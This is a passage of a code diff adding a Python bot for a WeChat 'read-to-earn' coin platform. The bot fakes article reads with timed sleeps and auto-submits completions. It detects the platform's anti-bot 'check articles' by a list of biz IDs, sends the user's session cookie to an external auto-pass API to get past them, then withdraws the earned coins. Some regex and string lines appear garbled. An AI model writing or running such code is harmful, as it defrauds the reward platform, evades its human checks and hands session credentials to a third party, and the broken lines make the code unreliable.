+ 2. 通过 post_mwtmpdomain 获取 domain/sk
+ 返回 domain_url, sk
+ """
+ location_url, location_domain = get_location_domain(cid, bbus, new_host)
+ if not location_domain:
+ return None, None
+ domain_url, sk = post_mwtmpdomain(location_domain, bbus)
+ return domain_url, sk
+
+
+def get_article_link(host, sk):
+ """
+ 获取文章link
+ """
+ now_ms = int(time.time() * 1000)
+ mysign = random.randint(100, 999)
+ vs = random.randint(100, 200)
+ rmemakdk_url = f"http://{host}/smkrdeas?time={now_ms}&mysign={mysign}&vs={vs}&sk={sk}"
+ headers = {
+ "Host": host,
+ "Connection": "keep-alive",
+ "User-Agent": UA_USER_AGENT,
+ "Accept": "application/json, text/javascript, */*; q=0.01",
+ "X-Requested-With": "XMLHttpRequest",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
+ }
+ # print(f"\n📖 请求文章任务: {rmemakdk_url}")
+ resp = session.get(rmemakdk_url, headers=headers, timeout=15)
+ return resp.json()
+
+
+def visit_article_link(link):
+ """
+ 访问文章link,模拟阅读
+ """
+ article_headers = {
+ "User-Agent": UA_USER_AGENT,
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ "Connection": "keep-alive"
+ }
+ print(f"📖 开始模拟阅读文章...")
+ resp = session.get(link, headers=article_headers, timeout=15)
+ return resp
+
+
+def submit_read_result(host, sk, sleep_time):
+ """
+ 提交阅读完成
+ """
+ psign = random.randint(200, 400)
+ jiajinbimao_url = f"http://{host}/jiajinbimao?time={sleep_time}&psign={psign}&sk={sk}"
+ headers = {
+ "Host": host,
+ "Connection": "keep-alive",
+ "User-Agent": UA_USER_AGENT,
+ "Accept": "application/json, text/javascript, */*; q=0.01",
+ "X-Requested-With": "XMLHttpRequest",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
+ }
+ # print(f"📖 提交阅读完成")
+ resp2 = session.get(jiajinbimao_url, headers=headers, timeout=15)
+ return resp2.json()
+
+
+def read_article(domain_url, sk):
+ """
+ 1. GET /rmemakdk 获取文章link
+ 2. 请求link,等待20-30秒
+ 3. GET /jiajinbimao 获取阅读结果
+ 检测文章biz特殊处理:如biz在检测列表,等待120-130秒,提示手动阅读
+ """
+ check_biz_list = [
+ "MzkzMTYyMDU0OQ==", "Mzk0NDcxMTk2MQ==",
+ "MzkzNTYxOTgyMA==", "MzkzNDYxODY5OA==",
+ "MzkwNzYwNDYyMQ==", "MzkyNjY0MTExOA==",
+ "MzkwMTYwNzcwMw==", "Mzg4NTcwODE1NA==",
+ "MzkyMjYxNzQ2NA==", "Mzk4ODQzNjU1OQ==",
+ "MzkyMTc0MDU5Nw==", "Mzk4ODQzNzU3NA==",
+ "Mzk5MDc1MDQzOQ==",
+ ]
+ parsed = urlparse(domain_url)
+ host = parsed.hostname
+ # 1. 获取文章link
+ try:
+ data = get_article_link(host, sk)
+ link = data.get('data', {}).get('link')
+ if not link:
+ if data.get('errcode') == 407:
+ print('⚠️ 60分钟后可继续阅读!')
+ elif data.get('errcode') == 405:
+ print(f"❌ {data.get('msg')}")
+ else:
+ print(f"❌ 未获取到文章link: {data}")
+ return False
+ # print(f"✅ 获取到文章: {link}")
+ # 提取biz
+ biz_match = parse_qs(urlparse(link).query).get('__biz', [None])[0]
+ print(f"文章标题: {biz_match}")
+ print(f"📖 开始阅读: {link}", flush=True)
+ # 检测文章特殊处理
+ auto_checked = False
+ if biz_match in check_biz_list or biz_match is None:
+ wait_time = random.randint(120, 130)
+ title = "⚠️ 猫猫检测文章!请在120s内完成阅读!"
+ content = f"""
+ ⚠️ 请在120s内完成阅读!
+ ⚠️ 每次阅读不得少于8秒!
+ 文章链接:{link}
+ 当前时间 {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())}
+ """
+ # 自动过检逻辑
+ auto_checked = False
+ if API_URL:
+ print(f"送入自动过检...")
+ payload = {"url": link,"ck":bbus,"ua":UA_USER_AGENT,'version':'3.0'}
+ try:
+ resp = requests.post(API_URL, json=payload, timeout=60).json()
+ if resp['status'] == 'success':
+ time.sleep(25)
+ print(f"✅ 自动过检成功,跳过推送")
+ auto_checked = True
+ else:
+ print(f"❌ 自动过检失败", resp['message'])
+ except Exception as e:
+ print(f"自动过检请求异常: {e}")
+
+ if not auto_checked:
+ if PUSH_TOKEN:
+ print("开始推送文章...")
+ send_pushplus_notification(PUSH_TOKEN, title, content)
+ else:
+ print("未配置推送token,尝试使用青龙配置文件推送")
+ print(QLAPI.notify(title, content))
+ print(f"⏳ 检测文章等待 {wait_time} 秒...")
+ time.sleep(wait_time)
+ # 检测文章不请求link,但需要调用jiajinbimao接口
+ sleep_time = random.randint(9, 18)
+ else:
+ # 2. 请求 link,等待20-30秒
+ try:
+ print(link)
+ visit_article_link(link)
+ sleep_time = random.randint(9, 18)
+ print(f"⏳ 等待 {sleep_time} 秒模拟阅读...")
+ time.sleep(sleep_time)
+ except Exception as e:
+ print(f"❌ 阅读文章请求失败: {e}")
+ return False
+ # 3. GET /jiajinbimao 获取阅读结果
+ max_retries = 3
+ for retry_count in range(max_retries):
+ try:
+ data2 = submit_read_result(host, sk, sleep_time)
+ if data2.get('errcode') == 0:
+ d = data2.get('data', {})
+ print(
+ f"✅ 阅读完成!本次金币: {d.get('gold')},今日已读: {d.get('day_read')},今日金币: {d.get('day_gold')},当前金币: {d.get('last_gold')},剩余可读: {d.get('remain_read')}")
+ return True
+ elif data2.get('errcode') == 405 and '未能获取到用户信息' in str(data2.get('msg')):
+ print(f"⚠️ 第 {retry_count + 1}/{max_retries} 次获取用户信息失败: {data2.get('msg')},正在重试...")
+ if retry_count == max_retries - 1:
+ print(f"❌ 连续 {max_retries} 次用户信息获取失败,退出运行")
+ return False
+ time.sleep(2)
+ continue
+ else:
+ print(f"❌ 阅读完成接口返回失败: {data2}")
+ return False
+ except requests.exceptions.ReadTimeout:
+ print(f"⏰ 第 {retry_count + 1}/{max_retries} 次请求超时,正在重试...")
+ if retry_count == max_retries - 1:
+ print(f"❌ 连续 {max_retries} 次请求超时,退出运行")
+ return False
+ time.sleep(2)
+ except Exception as e:
+ print(f"❌ 阅读完成接口请求失败: {e}")
+ return False
+ except Exception as e:
+ print(f"❌ 解析文章任务响应失败: {e}")
+ return False
+
+
+def confirm_withdraw(domain_url, bbus, signid):
+ """
+ 确认提现
+ """
+ from urllib.parse import urlparse
+ host = urlparse(domain_url).hostname
+ url = f"http://{host}/haobaobao/getwithdraw"
+ headers = {
+ "Host": host,
+ "Connection": "keep-alive",
+ "User-Agent": UA_USER_AGENT,
+ "Accept": "application/json, text/javascript, */*; q=0.01",
+ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+ "Origin": f"http://{host}",
+ "Referer": f"http://{host}/haobaobao/withdraw",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ "Cookie": f"bbus={bbus}",
+ "X-Requested-With": "XMLHttpRequest"
+ }
+ data = f"signid={signid}&ua=2&ptype=0&paccount=&pname="
+ # print(f"\n🔄 正在确认提现")
+ resp = session.post(url, headers=headers, data=data, timeout=15)
+ try:
+ res_json = resp.json()
+ if res_json.get('errcode') == 0:
+ print("✅ 确认提现成功")
+ else:
+ if res_json.get('errcode') == 405:
+ print(res_json.get('msg').replace("
", "\n"))
+ else:
+ print(f"❌ 确认提现失败: {res_json}")
+ except Exception as e:
+ print(f"❌ 确认提现响应解析失败: {e}")
+
+
+def get_user_info_and_withdraw(domain_url, bbus):
+ """
+ 获取用户信息并自动提现
+ """
+ from urllib.parse import urlparse
+ host = urlparse(domain_url).hostname
+ withdraw_url = f"http://{host}/haobaobao/withdraw"
+ headers = {
+ "Host": host,
+ "Connection": "keep-alive",
+ "Upgrade-Insecure-Requests": "1",
+ "User-Agent": UA_USER_AGENT,
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+ "X-Requested-With": "com.tencent.mm",
+ "Referer": f"http://{host}/haobaobao/home?v=1751942506",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ "Cookie": f"bbus={bbus}"
+ }
+ try:
+ resp = session.get(withdraw_url, headers=headers, timeout=30)
+ except requests.exceptions.ReadTimeout as e:
+ print(f"[超时] 获取用户信息/提现页面超时: {e}")
+ return None
+ except Exception as e:
+ print(f"[异常] 获取用户信息/提现页面失败: {e}")
+ return None
+ html = resp.text
+
+ # 提取参数
+ def extract_var(varname):
+ m = re.search(rf'var {varname} ?= ?["\']?([^;"\']+)["\']?;', html)
+ return m.group(1) if m else None
+
+ request_id = extract_var('request_id')
+ nickname = extract_var('nickname')
+ qrcode_num = extract_var('qrcode_num')
+ isallowtj = extract_var('isallowtj')
+ # 提取金币
+ m_gold = re.search(r'
(\d+)
', html) + exchange_gold = int(m_gold.group(1)) if m_gold else 0 + print(f"用户ID: {nickname}") + print(f"邀请人ID: {qrcode_num}") + # print(f"是否可提现(isallowtj): {isallowtj}") + print(f"当前金币: {exchange_gold}") + # print(f"request_id: {request_id}") + # 自动提现 + gold = (exchange_gold // 1000) * 1000 + if gold == 0 or not request_id: + print("❌ 无法提现,金币不足或request_id缺失") + return request_id + if gold < MIN_WITHDRAW_GOLD: + print(f"❌ 当前金币 {gold} 未达到提现门槛 {MIN_WITHDRAW_GOLD},跳过提现") + return request_id + post_url = f"http://{host}/haobaobao/getgold" + post_headers = headers.copy() + post_headers.update({ + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "Origin": f"http://{host}", + "Referer": f"http://{host}/haobaobao/withdraw", + "Accept": "application/json, text/javascript, */*; q=0.01" + }) + data = f"request_id={request_id}&gold={gold}" + print(f"\n💸 正在发起提现,金币: {gold}") + resp2 = session.post(post_url, headers=post_headers, data=data, timeout=15) + try: + res_json = resp2.json() + if res_json.get('errcode') == 0: + money = res_json.get('data', {}).get('money') + print(f"✅ 提现成功,金额: {money}") + else: + if res_json.get('errcode') == 405: + print(res_json.get('msg').replace("